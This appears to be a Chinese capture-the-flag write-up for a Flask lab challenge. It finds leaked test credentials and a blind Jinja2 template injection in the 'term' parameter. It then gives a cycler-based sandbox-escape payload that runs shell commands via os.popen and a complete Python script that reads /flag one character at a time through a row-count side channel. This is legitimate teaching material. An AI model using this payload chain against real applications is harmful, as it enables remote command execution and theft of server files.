0x01 侦察
登录页 HTML 注释泄露测试账号:
<!-- TODO: Delete the testing account (test:test). -->
test:test 登录成功,session 为 Flask 签名 cookie({"user_id":1})。
登录后页面结构与 XBEN-022(同系列 Include 题)明显不同:
-
❌ 无
/profile文件上传(无multipart/form-data表单) -
❌ 无
/error?error_type=模板包含端点(404) -
✅
/loan_details页面 JS 动态加载/amortization?term=60,按 term 渲染还款表格行数
/amortization 返回:
<i>This feature is not yet fully implented.</i>
<table>...</table> <!-- term=60 → 60 行数据 -->
0x02 发现注入点与过滤规则
行数差分确认表达式求值
| term 参数 | 响应行数 | 结论 |
|---|---|---|
1 |
1 行 | 正常 |
abc |
500 | 非数字报错 |
0+0 |
0 行 | 算术被求值而非当字符串 |
10-5 |
5 行 | 同上 |
2*3 |
6 行 | 同上 |
7*7 |
49 行 | SSTI 确认 |
字符过滤测试
| term 参数 | 响应 | 结论 |
|---|---|---|
{{7*7}} |
400 forbidden | { 被过滤 |
{% if 1 %}... |
400 forbidden | 同上 |
{# comment #} |
400 forbidden | 同上 |
7*7 |
200,49 行 | 完整表达式可用 |
关键推断:服务端把 term 直接拼接进 Jinja2 模板的 {{ }} 内部(形如 range({{ term }})):
-
所以输入
7*7即成为{{ 7*7 }}→ 49 -
输入
{会破坏模板结构,故被过滤——过滤规则本身暴露了注入点位置
这就是 Blind SSTI:表达式被求值,但结果只作为 range() 的行数,不在响应中回显。
0x03 RCE 确认
先验证命令执行(Jinja2 无 __import__,用 cycler 沙箱逃逸链):
GET /amortization?term=0+cycler.__init__.__globals__.os.popen("id").read()|length
→ 54 行 → 输出 54 字符: uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE 确认(www-data)。
Jinja2 表达式注意事项:
-
❌
ord()在 Jinja2 中不存在(500) -
✅
|length、|int过滤器有效 -
命令输出转数字:
popen("...").read()|int
0x04 盲注提取 flag
侧信道:行数 - 1 = 表达式求值结果
-
确认 flag 长度:
term = 0+cycler.__init__.__globals__.os.popen("cat /flag").read()|length
→ 43 字节(tr -d '\n' 后仍 43,无换行)
-
逐字符提取——用
od -An -tu1把字符转十进制 ASCII:
term = 0+cycler.__init__.__globals__.os.popen(
"head -cN /flag | tail -c1 | od -An -tu1 | tr -d ' '"
).read()|int
行数 - 1 即第 N 个字符的 ASCII 码,Python chr() 转回字符。
-
完整提取脚本(requests.Session 一次登录,循环 43 次):
import requests, urllib3
urllib3.disable_warnings()
BASE = "https://f2358666e732b9fb.ulab.fun"
s = requests.Session(); s.verify = False
s.post(f"{BASE}/login", data={"username": "test", "password": "test"})
def get_int(payload):
r = s.get(f"{BASE}/amortization", params={"term": payload})
return r.text.count("<tr>") - 1 # 行数-1 = 求值结果
flag = ""
for i in range(43):
cmd = f"head -c{i+1} /flag | tail -c1 | od -An -tu1 | tr -d ' '"
payload = f'0+cycler.__init__.__globals__.os.popen("{cmd}").read()|int'
v = get_int(payload)
flag += chr(v) if v > 0 else "?" # 瞬时 0 行错误重试即可
print(flag)
输出:
flag{6b1cd5d5-c0bb-4d1f-97ce-47cbcbd7cff3}}
0x05 漏洞分析
| 环节 | 问题 |
|---|---|
/amortization |
term 参数未经校验直接拼接进 Jinja2 模板 {{ }} 内部求值(Blind SSTI,输出仅体现为行数) |
| 过滤器 | 仅过滤 { 字符,未过滤表达式语法,cycler 逃逸链可用 |
| 认证 | 测试账号注释泄露(default_credentials) |
与同系列其他题的对比:
-
XBEN-022(Include):文件上传 +
error_type路径穿越 + 模板包含,输出直接回显 -
XBEN-023(Blind):无上传无包含,
term插入{{ }}内部,输出不回显,需行数侧信道盲注






请登录后查看回复内容